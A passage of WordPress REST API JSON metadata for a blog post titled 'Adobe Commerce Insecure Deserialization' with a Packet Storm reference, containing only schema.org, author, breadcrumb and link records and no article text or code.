redgem","article_published_time":"2025-12-24T11:45:21+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32695#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32695"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296","datePublished":"2025-12-24T11:45:21+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32695"},"wordCount":1645,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32695#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32695","url":"https:\/\/zero.redgem.net\/?p=32695","name":"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-24T11:45:21+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32695#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32695"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32695#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Adobe Commerce Insecure Deserialization_PACKETSTORM:213296"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32695"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32695\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}